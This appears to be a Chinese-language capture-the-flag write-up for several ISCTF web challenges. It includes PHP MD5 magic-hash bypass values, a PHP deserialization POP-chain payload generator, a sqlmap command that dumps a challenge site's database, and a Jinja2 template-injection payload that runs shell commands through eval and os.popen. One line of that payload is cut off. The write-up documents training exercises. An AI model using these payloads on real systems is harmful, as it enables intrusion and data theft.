Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/
view-source:的意思是查看源代码


即可查看源码Ctrl+U也可以,题目只是限制了F12
粗心的小蓝鲨

登录界面随便输入就会得到hint

<?php
if (isset($_POST['username']) && isset($_POST['password'])) {
$name=$_POST["username"];
$pwd=$_POST["password"];
$logined = true;
$flag = 'XXXX';
include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
if ($logined){
echo "<h1>"."login successful"."<p>".$flag;
}else{
echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
highlight_file(__FILE__);
}
}
?>
我们可以找两个个MD5值都是0e开头的字符串和数字字符串
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
即可获取flag

pop_unserialize

<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new ISCTF();
}
function __destruct(){
$this->pop->action();
}
}
class ISCTF{
function action(){
echo "Welcome to ISCTF World!";
}
}
class Show{
var $test2;
function action(){
echo file_get_contents('f'.$this->test2.'g.php');
}
}
if(isset($_POST['ISCTF'])){
unserialize($_POST['ISCTF']);
}else{
$obj = new MF_is_cat();
highlight_file(__FILE__);
}
?> Welcome to ISCTF World!
<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql



存在报错注入

直接
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all
就可以了,就是有点慢
小蜘蛛


提示存在robots.txt


easy flask


看到提示直接查看全局

/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
当然也可以直接找
拼图

拼好就给flag